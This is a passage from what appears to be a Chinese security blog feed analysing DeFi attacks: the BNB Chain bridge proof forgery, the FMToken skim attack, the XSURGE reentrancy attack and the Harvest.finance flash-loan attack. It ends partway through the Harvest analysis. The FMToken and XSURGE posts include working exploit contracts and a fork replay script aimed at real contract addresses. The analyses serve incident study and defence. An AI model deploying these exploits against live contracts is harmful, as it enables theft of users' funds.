    <link href="https://blog.0xhunya.com/2022/10/29/BSC%E8%B7%A8%E9%93%BE%E6%A1%A5%E6%94%BB%E5%87%BB%E4%BA%8B%E4%BB%B6%E5%88%86%E6%9E%90/"/>
    <id>https://blog.0xhunya.com/2022/10/29/BSC跨链桥攻击事件分析/</id>
    <published>2022-10-29T12:56:06.000Z</published>
    <updated>2023-05-25T13:21:39.174Z</updated>
    
    <content type="html"><![CDATA[<h2 id="前言-amp-背景"><a href="#前言-amp-背景" class="headerlink" title="前言&amp;背景"></a>前言&amp;背景</h2><p>北京时间 2022 年 10 月 7 日，BNB Chain 跨链桥遭遇黑客攻击，额外增发盗走了约 200 万枚 BNB，价值 5.66 亿美元</p><h3 id="新旧链"><a href="#新旧链" class="headerlink" title="新旧链"></a>新旧链</h3><p>币安有两条链：</p><ul><li>币安链，BC（Binance Chain）；尚未开源，代码架构采用了 Tendermint</li><li>币安智能链，BSC（Binance Smart Chain）；兼容 EVM，代码架构沿用 Ethereum</li></ul><p><em>ps：币安官方于 2022 年 2 月 15 宣布合并老链与新链（生态合并统一名称，非物理合并），并更名为 BNB Chain</em></p><h3 id="跨链"><a href="#跨链" class="headerlink" title="跨链"></a>跨链</h3><ul><li>BSC relayer，拉取 BC 块头和跨链数据包</li><li>Oracle relayer，拉取 BSC 跨链数据包，针对 BC 的预言进行声明</li></ul><p><img src="/2022/10/29/BSC跨链桥攻击事件分析/arch1.png" alt><br><img src="/2022/10/29/BSC跨链桥攻击事件分析/arch2.png" alt></p><h2 id="攻击分析"><a href="#攻击分析" class="headerlink" title="攻击分析"></a>攻击分析</h2><h3 id="基本信息"><a href="#基本信息" class="headerlink" title="基本信息"></a>基本信息</h3><ul><li>Hacker：0x489A8756C18C0b8B24EC2a2b9FF3D4d447F79BEc</li><li>Token Hub：0x0000000000000000000000000000000000001004</li><li>Relayer Hub：0x0000000000000000000000000000000000001006</li><li>Cross Chain：0x0000000000000000000000000000000000002000</li><li>Hack tx1：0xebf83628ba893d35b496121fb8201666b8e09f3cbadf0e269162baa72efe3b8b</li><li>Hack tx2：0x05356fd06ce56a9ec5b4eaf9c075abd740cae4c21eab1676440ab5cd2fe5c57a</li></ul><h3 id="攻击流程"><a href="#攻击流程" class="headerlink" title="攻击流程"></a>攻击流程</h3><p><img src="/2022/10/29/BSC跨链桥攻击事件分析/flow.png" alt></p><p>通过 Relayer Hub 合约缴纳 100 BNB 注册成为 relayer<br>tx:0xe1fe5fef26e93e6389910545099303e4fee774427d9e628d2aab80f1b53396d6</p><p><img src="/2022/10/29/BSC跨链桥攻击事件分析/tx-register.png" alt></p><p>注册成为 relayer 之后，才可调用跨链桥的 <code>handlePackage</code> 函数进行跨链操作</p><p><img src="/2022/10/29/BSC跨链桥攻击事件分析/func-handlepackage.png" alt></p><p><img src="/2022/10/29/BSC跨链桥攻击事件分析/func-onlyrelayer.png" alt></p><p><img src="/2022/10/29/BSC跨链桥攻击事件分析/func-isrelayer.png" alt></p><p><img src="/2022/10/29/BSC跨链桥攻击事件分析/func-register.png" alt></p><p>调用跨链桥合约 <code>handlePackage</code> 函数，增发 100W BNB</p><p>tx1：0xebf83628ba893d35b496121fb8201666b8e09f3cbadf0e269162baa72efe3b8b</p><p><img src="/2022/10/29/BSC跨链桥攻击事件分析/tx1.png" alt></p><p><code>handlePackage</code> 函数中会使用 <code>MerkleProof.validateMerkelProof()</code> 方法校验 <code>proof</code> 数据的合法性</p><p><img src="/2022/10/29/BSC跨链桥攻击事件分析/func-handlepackage-require.png" alt></p><p>内联汇编调用 <code>0x65</code> 地址的预编译合约</p><p><img src="/2022/10/29/BSC跨链桥攻击事件分析/func-validatemerkleproof.png" alt></p><p><a href="https://github.com/bnb-chain/bsc/blob/f3fd0f8bffb3b57a5a5d3f3699617e6afb757b33/core/vm/contracts.go#L81" target="_blank" rel="noopener">https://github.com/bnb-chain/bsc/blob/f3fd0f8bffb3b57a5a5d3f3699617e6afb757b33/core/vm/contracts.go#L81</a> </p><p><img src="/2022/10/29/BSC跨链桥攻击事件分析/code-precompiledcontract.png" alt></p><p><a href="https://github.com/bnb-chain/bsc/blob/f3fd0f8bffb3b57a5a5d3f3699617e6afb757b33/core/vm/contracts_lightclient.go#L128" target="_blank" rel="noopener">https://github.com/bnb-chain/bsc/blob/f3fd0f8bffb3b57a5a5d3f3699617e6afb757b33/core/vm/contracts_lightclient.go#L128</a> </p><p><img src="/2022/10/29/BSC跨链桥攻击事件分析/code-bsc1.png" alt></p><p><a href="https://github.com/bnb-chain/bsc/blob/cb131fabe5fb9570180e7030a293a984f17c2446/core/vm/lightclient/types.go#L212" target="_blank" rel="noopener">https://github.com/bnb-chain/bsc/blob/cb131fabe5fb9570180e7030a293a984f17c2446/core/vm/lightclient/types.go#L212</a> </p><p><img src="/2022/10/29/BSC跨链桥攻击事件分析/code-bsc2.png" alt></p><p><a href="https://github.com/bnb-chain/bsc/blob/cb131fabe5fb9570180e7030a293a984f17c2446/core/vm/lightclient/multistoreproof.go#L131" target="_blank" rel="noopener">https://github.com/bnb-chain/bsc/blob/cb131fabe5fb9570180e7030a293a984f17c2446/core/vm/lightclient/multistoreproof.go#L131</a> </p><p><img src="/2022/10/29/BSC跨链桥攻击事件分析/code-bsc3.png" alt></p><p>至此，BSC 公链代码部分流程分析完毕，最终流程指向 cosmos 的 IAVL 库，后续跟进调用流程较冗长，可跳至结尾</p><h3 id="IAVL-库流程跟进"><a href="#IAVL-库流程跟进" class="headerlink" title="IAVL 库流程跟进"></a>IAVL 库流程跟进</h3><p><a href="https://github.com/cosmos/iavl/blob/6c1300ae54a9bb851e77dbcc4ba4b21832279027/proof_iavl_value.go#L87" target="_blank" rel="noopener">https://github.com/cosmos/iavl/blob/6c1300ae54a9bb851e77dbcc4ba4b21832279027/proof_iavl_value.go#L87</a> </p><p><img src="/2022/10/29/BSC跨链桥攻击事件分析/code-iavl1.png" alt></p><p><a href="https://github.com/cosmos/iavl/blob/6c1300ae54a9bb851e77dbcc4ba4b21832279027/proof_range.go#L178" target="_blank" rel="noopener">https://github.com/cosmos/iavl/blob/6c1300ae54a9bb851e77dbcc4ba4b21832279027/proof_range.go#L178</a></p><p><img src="/2022/10/29/BSC跨链桥攻击事件分析/code-iavl2.png" alt></p><p><a href="https://github.com/cosmos/iavl/blob/6c1300ae54a9bb851e77dbcc4ba4b21832279027/proof_range.go#L186" target="_blank" rel="noopener">https://github.com/cosmos/iavl/blob/6c1300ae54a9bb851e77dbcc4ba4b21832279027/proof_range.go#L186</a></p><p><img src="/2022/10/29/BSC跨链桥攻击事件分析/code-iavl3.png" alt></p><p><a href="https://github.com/cosmos/iavl/blob/6c1300ae54a9bb851e77dbcc4ba4b21832279027/proof_range.go#L213" target="_blank" rel="noopener">https://github.com/cosmos/iavl/blob/6c1300ae54a9bb851e77dbcc4ba4b21832279027/proof_range.go#L213</a> </p><p><img src="/2022/10/29/BSC跨链桥攻击事件分析/code-iavl4.png" alt></p><p><a href="https://github.com/cosmos/iavl/blob/6c1300ae54a9bb851e77dbcc4ba4b21832279027/proof_path.go#L30" target="_blank" rel="noopener">https://github.com/cosmos/iavl/blob/6c1300ae54a9bb851e77dbcc4ba4b21832279027/proof_path.go#L30</a> </p><p><img src="/2022/10/29/BSC跨链桥攻击事件分析/code-iavl5.png" alt></p><p><a href="https://github.com/cosmos/iavl/blob/6c1300ae54a9bb851e77dbcc4ba4b21832279027/proof_path.go#L70" target="_blank" rel="noopener">https://github.com/cosmos/iavl/blob/6c1300ae54a9bb851e77dbcc4ba4b21832279027/proof_path.go#L70</a> </p><p><img src="/2022/10/29/BSC跨链桥攻击事件分析/code-iavl6.png" alt></p><p><a href="https://github.com/cosmos/iavl/blob/6c1300ae54a9bb851e77dbcc4ba4b21832279027/proof.go#L64" target="_blank" rel="noopener">https://github.com/cosmos/iavl/blob/6c1300ae54a9bb851e77dbcc4ba4b21832279027/proof.go#L64</a></p><p><img src="/2022/10/29/BSC跨链桥攻击事件分析/code-iavl7.png" alt></p><p>攻击者构造的数据中始终使用了相同的高度 <code>110217401</code></p><p>该高度的原始跨链数据包 proof</p><p><a href="https://bscscan.com/tx/0x79575ff791606ef2c7d69f430d1fee1c25ef8d56275da94e6ac49c9c4cc5f433" target="_blank" rel="noopener">https://bscscan.com/tx/0x79575ff791606ef2c7d69f430d1fee1c25ef8d56275da94e6ac49c9c4cc5f433</a></p><p><img src="/2022/10/29/BSC跨链桥攻击事件分析/proof-data-diff.png" alt></p><h3 id="后续资金"><a href="#后续资金" class="headerlink" title="后续资金"></a>后续资金</h3><p>90 万枚 BNB 抵押在 Venus 协议，借出 6250 万 BUSD、5000 万 USDT、3500 万 USDC</p><p>跨链到 Ethereum、 FTM、Arbitrum、Avalanche、Polygon、Optimism</p><h2 id="后续处理及修复"><a href="#后续处理及修复" class="headerlink" title="后续处理及修复"></a>后续处理及修复</h2><h3 id="BSC-官方"><a href="#BSC-官方" class="headerlink" title="BSC 官方"></a>BSC 官方</h3><p>10 月 7 日，攻击发生后第一时间升级 BSC 源码，添加黑名单</p><p><img src="/2022/10/29/BSC跨链桥攻击事件分析/commit-bsc1.png" alt></p><p><img src="/2022/10/29/BSC跨链桥攻击事件分析/commit-bsc1-comment.png" alt></p><p>10 月 11 日，代码层修复漏洞，添加判断</p><p><img src="/2022/10/29/BSC跨链桥攻击事件分析/commit-bsc2.png" alt></p><h3 id="Cosmos"><a href="#Cosmos" class="headerlink" title="Cosmos"></a>Cosmos</h3><p>10 月 9 日，修复漏洞，添加判断</p><p><img src="/2022/10/29/BSC跨链桥攻击事件分析/commit-cosmos1.png" alt></p><p>随后的 commit 添加了判断，当 <code>Left</code> 和 <code>Right</code> 都不为空时抛出错误</p><p><img src="/2022/10/29/BSC跨链桥攻击事件分析/commit-cosmos2.png" alt></p><h2 id="总结-amp-影响"><a href="#总结-amp-影响" class="headerlink" title="总结&amp;影响"></a>总结&amp;影响</h2><p>黑客质押 100 BNB 成为 Relayer 之后，通过伪造 IAVT Tree 的 proof ，由于 BSC 跨链桥采用的 Cosmos 的 IAVL 库，该库的验证存在缺陷，proof 可填充恶意数据，导致通过了该恶意数据的验证，增发了大量 BNB。</p><ul><li>第三方开源库的安全性</li><li>底层架构复杂，问题难以发现</li><li>舆论影响，中心化</li></ul><p>10 月 24 日，CZ 表示在执法部门帮助下，缩小了攻击者身份范围，被盗资金能冻结 80%~90%，大约 1 亿美金无法追回，实际损失要小得多</p><h2 id="参考链接"><a href="#参考链接" class="headerlink" title="参考链接"></a>参考链接</h2><p><a href="https://foresightnews.pro/article/detail/15703" target="_blank" rel="noopener">https://foresightnews.pro/article/detail/15703</a><br><a href="https://www.8btc.com/article/6781172" target="_blank" rel="noopener">https://www.8btc.com/article/6781172</a><br><a href="https://mp.weixin.qq.com/s?__biz=MzU2NzUxMTM0Nw==&amp;mid=2247500129&amp;idx=1&amp;sn=dd1255a5f432c1f237ca927f8ad81e8c&amp;chksm=fc9e913dcbe9182be865517d65a81ccfb4824aa406803eb4a1ff0ed2970fb577d55c579afda6&amp;scene=21#wechat_redirect" target="_blank" rel="noopener">https://mp.weixin.qq.com/s?__biz=MzU2NzUxMTM0Nw==&amp;mid=2247500129&amp;idx=1&amp;sn=dd1255a5f432c1f237ca927f8ad81e8c&amp;chksm=fc9e913dcbe9182be865517d65a81ccfb4824aa406803eb4a1ff0ed2970fb577d55c579afda6&amp;scene=21#wechat_redirect</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h2 id=&quot;前言-amp-背景&quot;&gt;&lt;a href=&quot;#前言-amp-背景&quot; class=&quot;headerlink&quot; title=&quot;前言&amp;amp;背景&quot;&gt;&lt;/a&gt;前言&amp;amp;背景&lt;/h2&gt;&lt;p&gt;北京时间 2022 年 10 月 7 日，BNB Chain 跨链桥遭遇黑客攻击，额
      
    
    </summary>
    
    
      <category term="区块链" scheme="https://blog.0xhunya.com/categories/%E5%8C%BA%E5%9D%97%E9%93%BE/"/>
    
    
      <category term="区块链" scheme="https://blog.0xhunya.com/tags/%E5%8C%BA%E5%9D%97%E9%93%BE/"/>
    
      <category term="跨链桥" scheme="https://blog.0xhunya.com/tags/%E8%B7%A8%E9%93%BE%E6%A1%A5/"/>
    
  </entry>
  
  <entry>
    <title>Feminist Metaverse攻击事件分析及复现</title>
    <link href="https://blog.0xhunya.com/2022/05/19/Feminist-Metaverse%E6%94%BB%E5%87%BB%E4%BA%8B%E4%BB%B6%E5%88%86%E6%9E%90%E5%8F%8A%E5%A4%8D%E7%8E%B0/"/>
    <id>https://blog.0xhunya.com/2022/05/19/Feminist-Metaverse攻击事件分析及复现/</id>
    <published>2022-05-19T03:31:21.000Z</published>
    <updated>2023-05-25T13:21:08.249Z</updated>
    
    <content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>Feminist Metaverse 项目的 FMToken 合约于 2022 年 5月 18 日遭到攻击</p><p>很久没更新博客了，这里写个简单的分析和复现</p><h2 id="分析"><a href="#分析" class="headerlink" title="分析"></a>分析</h2><h3 id="基础信息"><a href="#基础信息" class="headerlink" title="基础信息"></a>基础信息</h3><p>攻击tx（以第一笔攻击为例） ：</p><p>0xfdc90e060004dd902204673831dce466dcf7e8519a79ccf76b90cd6c1c8b320d</p><p>攻击者：0xaaA1634D669dd8aa275BAD6FdF19c7E3B2f1eF50</p><p>攻击合约：0x0B8d752252694623766DfB161e1944F233Bca10F</p><p>FMToken：0x843528746F073638C9e18253ee6078613C0df0f1</p><h3 id="流程"><a href="#流程" class="headerlink" title="流程"></a>流程</h3><p>调用攻击合约<code>0x70123a24</code>函数启动攻击，发起 500 次 FM 的转账</p><p><img src="/2022/05/19/Feminist-Metaverse攻击事件分析及复现/trace1.png" alt></p><p>随后调用 FM/BUSD 交易对的<code>skim</code>函数套利离场</p><p><img src="/2022/05/19/Feminist-Metaverse攻击事件分析及复现/trace2.png" alt></p><h3 id="漏洞原理"><a href="#漏洞原理" class="headerlink" title="漏洞原理"></a>漏洞原理</h3><p>漏洞核心在于 FM 代币合约的转账逻辑中，若 FM 代币合约大于<code>numTokensSellToAddToLiquidity</code>，则会触发进一步逻辑将其所有 FM 代币转至 FM/BUSD 交易对</p><p><img src="/2022/05/19/Feminist-Metaverse攻击事件分析及复现/code-transfer.png" alt></p><p>而 UniswapV2Pair 类型的交易对合约一直存在的一种 skim 套利，就依赖于合约中<code>reserves</code>存储量和实际余额量不一致，这里不展开讲</p><p>由于这里的代码只进行了余额转移，交易对合约中的存储量未更新，就产生了套利空间</p><h2 id="复现"><a href="#复现" class="headerlink" title="复现"></a>复现</h2><p>用 hardhat 做一个复现，fork 区块高度 17909280</p><p>攻击合约：</p><pre><code class="lang-solidity">//SPDX-License-Identifier: MITpragma solidity ^0.7.0;interface IERC20 {    function name() external view returns (string memory);    function symbol() external view returns (string memory);    function decimals() external view returns (uint8);    function totalSupply() external view returns (uint256);    function balanceOf(address account) external view returns (uint256);    function transfer(address to, uint256 amount) external returns (bool);    function allowance(address owner, address spender) external view returns (uint256);    function approve(address spender, uint256 amount) external returns (bool);    function transferFrom(address from, address to, uint256 amount) external returns (bool);    event Transfer(address indexed from, address indexed to, uint256 value);    event Approval(address indexed owner, address indexed spender, uint256 value);}interface IUniswapV2Pair {    event Approval(        address indexed owner,        address indexed spender,        uint256 value    );    event Burn(        address indexed sender,        uint256 amount0,        uint256 amount1,        address indexed to    );    event Mint(address indexed sender, uint256 amount0, uint256 amount1);    event Swap(        address indexed sender,        uint256 amount0In,        uint256 amount1In,        uint256 amount0Out,        uint256 amount1Out,        address indexed to    );    event Sync(uint112 reserve0, uint112 reserve1);    event Transfer(address indexed from, address indexed to, uint256 value);    function DOMAIN_SEPARATOR() external view returns (bytes32);    function MINIMUM_LIQUIDITY() external view returns (uint256);    function PERMIT_TYPEHASH() external view returns (bytes32);    function allowance(address, address) external view returns (uint256);    function approve(address spender, uint256 value) external returns (bool);    function balanceOf(address) external view returns (uint256);    function burn(address to) external returns (uint256 amount0, uint256 amount1);    function decimals() external view returns (uint8);    function factory() external view returns (address);    function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast);    function initialize(address _token0, address _token1) external;    function kLast() external view returns (uint256);    function mint(address to) external returns (uint256 liquidity);    function name() external view returns (string memory);    function nonces(address) external view returns (uint256);    function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;    function price0CumulativeLast() external view returns (uint256);    function price1CumulativeLast() external view returns (uint256);    function skim(address to) external;    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes memory data) external;    function symbol() external view returns (string memory);    function sync() external;    function token0() external view returns (address);    function token1() external view returns (address);    function totalSupply() external view returns (uint256);    function transfer(address to, uint256 value) external returns (bool);    function transferFrom(address from, address to, uint256 value) external returns (bool);}contract FMExploit {    address private immutable owner;    address fm;    address fm_busd_pair;    modifier onlyOwner {        require(msg.sender == owner);        _;    }    constructor() {        owner = msg.sender;        fm = 0x843528746F073638C9e18253ee6078613C0df0f1;        fm_busd_pair = 0x6F5E184673a13BDf3eDED4AB236958887bc850C1;    }    function start() external onlyOwner {        IERC20(fm).balanceOf(msg.sender);        for (uint i; i &lt; 500; i++) {            IERC20(fm).transfer(msg.sender, 100000);        }        IUniswapV2Pair(fm_busd_pair).skim(msg.sender);    }    function fmBalance() public view returns(uint256) {        return IERC20(fm).balanceOf(msg.sender);    }}</code></pre><p>攻击脚本：</p><pre><code class="lang-js">const hre = require(&quot;hardhat&quot;);async function main() {    await hre.network.provider.request({        method: &quot;hardhat_impersonateAccount&quot;,        params: [&quot;0xaaA1634D669dd8aa275BAD6FdF19c7E3B2f1eF50&quot;],    });    const exploit = await (await hre.ethers.getContractFactory(&quot;FMExploit&quot;)).deploy();    console.log(&quot;Exploiter deployed to: &quot;,exploit.address);    const hacker = await hre.ethers.getSigner(&quot;0xaaA1634D669dd8aa275BAD6FdF19c7E3B2f1eF50&quot;);    const fm = await ethers.getContractAt(&quot;IERC20&quot;, &quot;0x843528746F073638C9e18253ee6078613C0df0f1&quot;);    await fm.connect(hacker).transfer(exploit.address, hre.ethers.utils.parseUnits(&quot;100&quot;, 18));    const fmBefore = await exploit.fmBalance();    console.log(&quot;Before Exploit, FM:&quot;, fmBefore.toString());    await exploit.start();    const fmAfter = await exploit.fmBalance();    console.log(&quot;After Exploit, FM:&quot;, fmAfter.toString());}main();</code></pre><p>攻击复现：</p><p><img src="/2022/05/19/Feminist-Metaverse攻击事件分析及复现/attack.png" alt></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h2 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h2&gt;&lt;p&gt;Feminist Metaverse 项目的 FMToken 合约于 2022 年 5月 18 日遭到攻击&lt;/p&gt;
&lt;p&gt;很久没更新博客了，
      
    
    </summary>
    
    
      <category term="智能合约" scheme="https://blog.0xhunya.com/categories/%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6/"/>
    
    
      <category term="智能合约" scheme="https://blog.0xhunya.com/tags/%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6/"/>
    
  </entry>
  
  <entry>
    <title>XSURGE闪电贷攻击事件分析及复现</title>
    <link href="https://blog.0xhunya.com/2021/08/17/XSURGE%E9%97%AA%E7%94%B5%E8%B4%B7%E6%94%BB%E5%87%BB%E4%BA%8B%E4%BB%B6%E5%88%86%E6%9E%90%E5%8F%8A%E5%A4%8D%E7%8E%B0/"/>
    <id>https://blog.0xhunya.com/2021/08/17/XSURGE闪电贷攻击事件分析及复现/</id>
    <published>2021-08-17T12:53:11.000Z</published>
    <updated>2023-05-25T13:23:03.510Z</updated>
    
    <content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>BSC 链的 DeFi 协议 XSURGE 遭到攻击，攻击过程比较有意思，分析记录下</p><h2 id="分析"><a href="#分析" class="headerlink" title="分析"></a>分析</h2><h3 id="基础信息"><a href="#基础信息" class="headerlink" title="基础信息"></a>基础信息</h3><p>攻击tx：0x7e2a6ec08464e8e0118368cb933dc64ed9ce36445ecf9c49cacb970ea78531d2</p><p>攻击合约：0x1514AAA4dCF56c4Aa90da6a4ed19118E6800dc46</p><p>SurgeToken：0xE1E1Aa58983F6b8eE8E4eCD206ceA6578F036c21</p><p><img src="/2021/08/17/XSURGE闪电贷攻击事件分析及复现/tx.png" alt></p><h3 id="攻击流程"><a href="#攻击流程" class="headerlink" title="攻击流程"></a>攻击流程</h3><p><img src="/2021/08/17/XSURGE闪电贷攻击事件分析及复现/token-tx-flow.png" alt></p><p>这里有个小细节，代币转移流程中的顺序是按照事件先后顺序来显示的，而重入之后的买操作引起的事件会在卖操作引起的事件之前，所以在流程中看到的每一个单独的重入攻击中是 SURGE 的买入发生在卖出之前</p><h3 id="漏洞原理"><a href="#漏洞原理" class="headerlink" title="漏洞原理"></a>漏洞原理</h3><p>漏洞点在于 SurgeToken 合约中的<code>sell()</code>函数，其中对调用者<code>msg.sender</code>的 BNB 转账采用的<code>call()</code>函数，并且在转账之后才更新代币总量<code>_totalSupply</code>，是典型的重入漏洞场景</p><p><img src="/2021/08/17/XSURGE闪电贷攻击事件分析及复现/func-sell.png" alt></p><p>虽然<code>sell()</code>函数使用了<code>nonReentrant</code>修饰防止了重入，但<code>purchase()</code>函数并没有。重入转回 BNB 给合约，触发<code>fallback</code>函数调用<code>purchase()</code>，由于<code>_totalSupply</code>尚未减去卖出量，而导致可买入相较正常更多的 SURGE 代币</p><p><img src="/2021/08/17/XSURGE闪电贷攻击事件分析及复现/func-purchase.png" alt></p><h2 id="复现"><a href="#复现" class="headerlink" title="复现"></a>复现</h2><h3 id="价格分析"><a href="#价格分析" class="headerlink" title="价格分析"></a>价格分析</h3><p><code>sell()</code>函数卖出过程中，输入<code>tokenAmount</code>与输出<code>amountBNB</code>的关系：</p><script type="math/tex; mode=display">\begin{cases}tokensToSwap = tokenAmount \times 94\% \\amountBNB = tokensToSwap \times calculatePrice \\calculatePrice = balance \div totalSupply\end{cases}=>amountBNB = \frac{tokenAmount \times 94\% \times balance}{totalSupply}</script><p><code>purchase()</code>函数买入过程中，输入<code>bnbAmount</code>与输出<code>tokensToSend</code>的关系：</p><script type="math/tex; mode=display">\begin{cases}prevBNBAmount = balance - bnbAmout \\nShouldPurchase = totalSupply \times bnbAmount \div prevBNBAmount \\tokensToSend = nShouldPurchase \times 94\%\end{cases}=>tokensToSend = \frac{totalSupply \times bnbAmount \times 94\%}{balance - bnbAmount}</script><p>在重入过程中，<code>sell()</code>函数卖出后获得的 BNB 通过重入打回 SurgeToken 合约传入<code>purchase()</code>函数</p><p>故令<code>sell()</code>函数的输出$amountBNB$​与<code>purchase()</code>函数的输入$bnbAmount$​相等，可得到整个利用流程中输入与输出的关系：</p><script type="math/tex; mode=display">tokensToSend = \frac{94\% \times 94\% \times totalSupply \times tokenAmount}{totalSupply - 94\% \times tokenAmount}</script><p>若要实现套利，则需要输出大于输入，据此建立不等式：</p><script type="math/tex; mode=display">tokensToSend = \frac{94\% \times 94\% \times totalSupply \times tokenAmount}{totalSupply - 94\% \times tokenAmount} > tokenAmount \\</script><p>化简得：</p><script type="math/tex; mode=display">tokenAmount > \frac{1-94\%\times94\%}{94\%} \times totalSupply \approx 0.12383 \times totalSupply</script><p>也就是说，<strong>重入套利过程中调用<code>sell()</code>卖出的代币量必须在代币总量的12.383%以上</strong></p><h3 id="复现演示"><a href="#复现演示" class="headerlink" title="复现演示"></a>复现演示</h3><p>部署 SurgeToken 合约，为方便调试，将其中<code>mint()</code>函数可见性改为<code>public</code>，并为构造函数增加<code>payable</code>修饰，在部署时传入$10^{15}$ wei</p><p>部署攻击合约，代码如下：</p><pre><code>// SPDX-License-Identifier: GPL-3.0pragma solidity ^0.6.0;interface Victim {    function sell(uint256) external returns (bool);}contract test {    Victim victim;    event LOG(bool);    constructor(address v) public {        victim = Victim(v);    }    function Attack(uint256 n) public {        victim.sell(n);    }    function balance() public view returns (uint256) {        return address(this).balance;    }    receive() external payable {        address(victim).call{value:msg.value}(&quot;&quot;);    }}</code></pre><p>SurgeToken合约初始化的代币总量为$10^9$，根据前面推导出的结论，为攻击合约铸币 200000000（攻击成本），则攻击合约拥有大约Surge代币总量16%的代币</p><p><img src="/2021/08/17/XSURGE闪电贷攻击事件分析及复现/mint-state.png" alt></p><p>攻击合约调用<code>Attack()</code>函数攻击，查看攻击合约的代币余额已变为209549307，获利9549307</p><p><img src="/2021/08/17/XSURGE闪电贷攻击事件分析及复现/attack-state.png" alt></p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>典型的重入漏洞场景，教科书级的案例</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h2 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h2&gt;&lt;p&gt;BSC 链的 DeFi 协议 XSURGE 遭到攻击，攻击过程比较有意思，分析记录下&lt;/p&gt;
&lt;h2 id=&quot;分析&quot;&gt;&lt;a href=&quot;#分
      
    
    </summary>
    
    
      <category term="智能合约" scheme="https://blog.0xhunya.com/categories/%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6/"/>
    
    
      <category term="智能合约" scheme="https://blog.0xhunya.com/tags/%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6/"/>
    
      <category term="重入漏洞" scheme="https://blog.0xhunya.com/tags/%E9%87%8D%E5%85%A5%E6%BC%8F%E6%B4%9E/"/>
    
  </entry>
  
  <entry>
    <title>Harvest.finance闪电贷攻击事件的全盘梳理</title>
    <link href="https://blog.0xhunya.com/2021/04/16/Harvest-finance%E9%97%AA%E7%94%B5%E8%B4%B7%E6%94%BB%E5%87%BB%E4%BA%8B%E4%BB%B6%E7%9A%84%E5%85%A8%E7%9B%98%E6%A2%B3%E7%90%86/"/>
    <id>https://blog.0xhunya.com/2021/04/16/Harvest-finance闪电贷攻击事件的全盘梳理/</id>
    <published>2021-04-16T03:34:23.000Z</published>
    <updated>2023-05-25T13:22:15.611Z</updated>
    
    <content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>2020年10月16日，DeFi项目Harvest.finance遭受黑客攻击，黑客利用闪电贷，套利2400万美元，涉及金额巨大，轰动一时</p><p>本文旨在通过全盘梳理攻击流程和代码细节，一窥闪电贷套利的秘密</p><h2 id="全盘梳理"><a href="#全盘梳理" class="headerlink" title="全盘梳理"></a>全盘梳理</h2><h3 id="基础信息"><a href="#基础信息" class="headerlink" title="基础信息"></a>基础信息</h3><p>攻击者地址：0xF224ab004461540778a914ea397c589b677E27bb</p><p>攻击合约地址：0xc6028a9Fa486F52efd2B95B949AC630d287CE0aF</p><p>首次攻击tx：0x35f8d2f572fceaac9288e5d462117850ef2694786992a8c3f6d02612277b0877</p><p>VaultProxy(fUSDC)：0xf0358e8c3CD5Fa238a29301d0bEa3D63A17bEdBE</p><p>CRVStrategyStableMainnet：0xD55aDA00494D96CE1029C201425249F9dFD216cc</p><p>VaultYCRV：0xF2B223Eb3d2B382Ead8D85f3c1b7eF87c1D35f3A</p><p>CRVStrategyYCRVMainnet：0x2427DA81376A0C0a0c654089a951887242D67C92</p><p>convertor：0xfCA4416d9dEF20aC5b6Da8b8b322b6559770eFbF</p><p>*为方便起见，后面提到的地址均只用地址前4位代表</p><h3 id="交易始末"><a href="#交易始末" class="headerlink" title="交易始末"></a>交易始末</h3><p>从tx<code>0x35f8</code>中的代币转移记录中可以大致看出事件经过</p><p><img src="/2021/04/16/Harvest-finance闪电贷攻击事件的全盘梳理/tx.png" alt></p><p>详细的合约调用过程可通过以太坊交易分析平台载入交易hash进行分析</p><p><img src="/2021/04/16/Harvest-finance闪电贷攻击事件的全盘梳理/tx-analyze.png" alt></p><p>流程分析大致如上，事件概括起来即是攻击者<code>0xf224</code>部署了攻击合约<code>0xc602</code>，然后一系列闪电贷攻击均在攻击合约的<code>0xfdb57542</code>方法中进行，其中核心流程就是通过Uniswap的Flash Swap进行闪电贷，先获得大量USDT和USDC为后续攻击做准备，然后重复执行如下动作：</p><ol><li>Curve ySwap中进行USDT=&gt;USDC的巨额兑换（巨额兑换造成y池中USDC价格上涨）</li><li>USDC质押存入VaultProxy fUSDC池（USDC价格上涨，铸造出较平常更多的fUSDC）</li><li>Curve ySwap进行USDC=&gt;USDT回兑（1步骤的逆操作，USDC价格恢复）</li><li>VaultProxy fUSDC池中赎回USDC（USDC价格回落，赎回出较平常更多的USDC）</li></ol><p>最后归还闪电贷并将获利的USDC兑换为ETH提取</p><h3 id="代码细节"><a href="#代码细节" class="headerlink" title="代码细节"></a>代码细节</h3><p>攻击合约未开源，暂时不作分析。可先从关键的VaultProxy fUSDC池合约<code>0xf035</code>的<code>deposit</code>函数入手，分析fUSDC的铸造量是如何计算的</p><p><img src="/2021/04/16/Harvest-finance闪电贷攻击事件的全盘梳理/func-0xf035-deposit.png" alt></p><p>从质押函数中可以看出fUSDC的铸造量是根据fUSDC总量和USDC策略的总投资量的比例来决定的</p><p><code>underlyingBalanceWithInvestment</code>函数实现如下：</p><p><img src="/2021/04/16/Harvest-finance闪电贷攻击事件的全盘梳理/func-0xf035-underlyingBalanceWithInvestment.png" alt></p><p>fUSDC池代理合约<code>0xf035</code>会进一步调用CRVStrategyStableMainnet策略合约<code>0xD55a</code>去进一步查询已投资的底层资产 USDC 